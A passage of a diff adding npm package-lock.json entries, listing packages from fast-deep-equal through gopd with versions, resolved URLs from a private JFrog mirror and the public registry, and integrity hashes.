+ "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "node_modules/fast-glob": { + "version": "3.2.12", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fast-glob/-/fast-glob-3.2.12.tgz", + "integrity": "sha512-DVj4CQIYYow0BlaelwK1pHl5n5cRSJfM60UA0zK891sVInoPri2Ekj7+e1CT3/3qxXenpI+nBBmQAcJPJgaj4w==", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-glob/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==" + }, + "node_modules/fastq": { + "version": "1.15.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fastq/-/fastq-1.15.0.tgz", + "integrity": "sha512-wBrocU2LCXXa+lWBt8RoIRD89Fi8OdABODa/kEnyeyjS5aZO5/GNvI5sEINADqP/h8M29UHTHUb53sUu5Ihqdw==", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/faye-websocket": { + "version": "0.11.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/faye-websocket/-/faye-websocket-0.11.4.tgz", + "integrity": "sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==", + "dependencies": { + "websocket-driver": ">=0.5.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/fb-watchman": { + "version": "2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fb-watchman/-/fb-watchman-2.0.2.tgz", + "integrity": "sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==", + "dependencies": { + "bser": "2.1.1" + } + }, + "node_modules/file-entry-cache": { + "version": "6.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/file-entry-cache/-/file-entry-cache-6.0.1.tgz", + "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "dependencies": { + "flat-cache": "^3.0.4" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/file-loader": { + "version": "6.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/file-loader/-/file-loader-6.2.0.tgz", + "integrity": "sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw==", + "dependencies": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/filelist": { + "version": "1.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/filelist/-/filelist-1.0.4.tgz", + "integrity": "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==", + "dependencies": { + "minimatch": "^5.0.1" + } + }, + "node_modules/filelist/node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/filelist/node_modules/minimatch": { + "version": "5.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/filesize": { + "version": "8.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/filesize/-/filesize-8.0.7.tgz", + "integrity": "sha512-pjmC+bkIF8XI7fWaH8KxHcZL3DPybs1roSKP4rKDvy20tAWwIObE4+JIseG2byfGKhud5ZnM4YSGKBz7Sh0ndQ==", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/finalhandler": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.1.tgz", + "integrity": "sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==", + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "statuses": "2.0.1", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/finalhandler/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/finalhandler/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/find-cache-dir": { + "version": "3.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/find-cache-dir/-/find-cache-dir-3.3.2.tgz", + "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==", + "dependencies": { + "commondir": "^1.0.1", + "make-dir": "^3.0.2", + "pkg-dir": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/flat-cache": { + "version": "3.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/flat-cache/-/flat-cache-3.0.4.tgz", + "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==", + "dependencies": { + "flatted": "^3.1.0", + "rimraf": "^3.0.2" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/flatted": { + "version": "3.2.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/flatted/-/flatted-3.2.7.tgz", + "integrity": "sha512-5nqDSxl8nn5BSNxyR3n4I6eDmbolI6WT+QqR547RwxQapgjQBmtktdP+HTBb/a/zLsbzERTONyUB5pefh5TtjQ==" + }, + "node_modules/follow-redirects": { + "version": "1.15.6", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.6.tgz", + "integrity": "sha512-wWN62YITEaOpSK584EZXJafH1AGpO8RVgElfkuXbTOrPX4fIfOyEpW/CsiNd8JdYrAoOvafRTOEnvsO++qCqFA==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/for-each": { + "version": "0.3.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/for-each/-/for-each-0.3.3.tgz", + "integrity": "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==", + "dependencies": { + "is-callable": "^1.1.3" + } + }, + "node_modules/fork-ts-checker-webpack-plugin": { + "version": "6.5.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-6.5.3.tgz", + "integrity": "sha512-SbH/l9ikmMWycd5puHJKTkZJKddF4iRLyW3DeZ08HTI7NGyLS38MXd/KGgeWumQO7YNQbW2u/NtPT2YowbPaGQ==", + "dependencies": { + "@babel/code-frame": "^7.8.3", + "@types/json-schema": "^7.0.5", + "chalk": "^4.1.0", + "chokidar": "^3.4.2", + "cosmiconfig": "^6.0.0", + "deepmerge": "^4.2.2", + "fs-extra": "^9.0.0", + "glob": "^7.1.6", + "memfs": "^3.1.2", + "minimatch": "^3.0.4", + "schema-utils": "2.7.0", + "semver": "^7.3.2", + "tapable": "^1.0.0" + }, + "engines": { + "node": ">=10", + "yarn": ">=1.0.0" + }, + "peerDependencies": { + "eslint": ">= 6", + "typescript": ">= 2.7", + "vue-template-compiler": "*", + "webpack": ">= 4" + }, + "peerDependenciesMeta": { + "eslint": { + "optional": true + }, + "vue-template-compiler": { + "optional": true + } + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/cosmiconfig": { + "version": "6.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cosmiconfig/-/cosmiconfig-6.0.0.tgz", + "integrity": "sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==", + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.1.0", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.7.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/schema-utils": { + "version": "2.7.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/schema-utils/-/schema-utils-2.7.0.tgz", + "integrity": "sha512-0ilKFI6QQF5nxDZLFn2dMjvc4hjg/Wkg7rHd3jK6/A4a1Hl9VFdQWvgB1UMGoU94pad1P/8N7fMcEnLnSiju8A==", + "dependencies": { + "@types/json-schema": "^7.0.4", + "ajv": "^6.12.2", + "ajv-keywords": "^3.4.1" + }, + "engines": { + "node": ">= 8.9.0" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/tapable": { + "version": "1.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tapable/-/tapable-1.1.3.tgz", + "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/form-data": { + "version": "3.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/form-data/-/form-data-3.0.1.tgz", + "integrity": "sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fraction.js": { + "version": "4.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fraction.js/-/fraction.js-4.2.0.tgz", + "integrity": "sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA==", + "engines": { + "node": "*" + } + }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fs-extra": { + "version": "10.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/fs-monkey": { + "version": "1.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fs-monkey/-/fs-monkey-1.0.4.tgz", + "integrity": "sha512-INM/fWAxMICjttnD0DX1rBvinKskj5G1w+oy/pnm9u/tSlnBrzFonJMcalKJ30P8RRsPzKcCG7Q8l0jx5Fh9YQ==" + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==" + }, + "node_modules/fsevents": { + "version": "2.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "hasInstallScript": true, + "optional": true, + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/function.prototype.name": { + "version": "1.1.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/function.prototype.name/-/function.prototype.name-1.1.5.tgz", + "integrity": "sha512-uN7m/BzVKQnCUF/iW8jYea67v++2u7m5UgENbHRtdDVclOUP+FMPlCNdmk0h/ysGyo2tavMJEDqJAkJdRa1vMA==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.0", + "functions-have-names": "^1.2.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/functions-have-names": { + "version": "1.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/functions-have-names/-/functions-have-names-1.2.3.tgz", + "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==" + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.4.tgz", + "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "hasown": "^2.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-own-enumerable-property-symbols": { + "version": "3.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz", + "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==" + }, + "node_modules/get-package-type": { + "version": "0.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/get-package-type/-/get-package-type-0.1.0.tgz", + "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==", + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/get-stream": { + "version": "6.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "engines": { + "node": ">=10" + } + }, + "node_modules/get-symbol-description": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/get-symbol-description/-/get-symbol-description-1.0.0.tgz", + "integrity": "sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==", + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/glob": { + "version": "7.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/glob-to-regexp": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==" + }, + "node_modules/global-modules": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/global-modules/-/global-modules-2.0.0.tgz", + "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==", + "dependencies": { + "global-prefix": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/global-prefix": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/global-prefix/-/global-prefix-3.0.0.tgz", + "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==", + "dependencies": { + "ini": "^1.3.5", + "kind-of": "^6.0.2", + "which": "^1.3.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/global-prefix/node_modules/which": { + "version": "1.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "which": "bin/which" + } + }, + "node_modules/globals": { + "version": "11.12.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", + "engines": { + "node": ">=4" + } + }, + "node_modules/globalthis": { + "version": "1.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/globalthis/-/globalthis-1.0.3.tgz", + "integrity": "sha512-sFdI5LyBiNTHjRd7cGPWapiHWMOXKyuBNX/cWJ3NfzrZQVa8GI/8cofCl74AOVqq9W5kNmguTIzJ/1s2gyI9wA==", + "dependencies": { + "define-properties": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/globby": { + "version": "11.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/globby/-/globby-11.1.0.tgz", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "dependencies": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/gopd": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/gopd/-/gopd-1.0.1.tgz", + "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==", + "dependencies": { + "get-intrinsic": "^1.1.3" + } + }, + 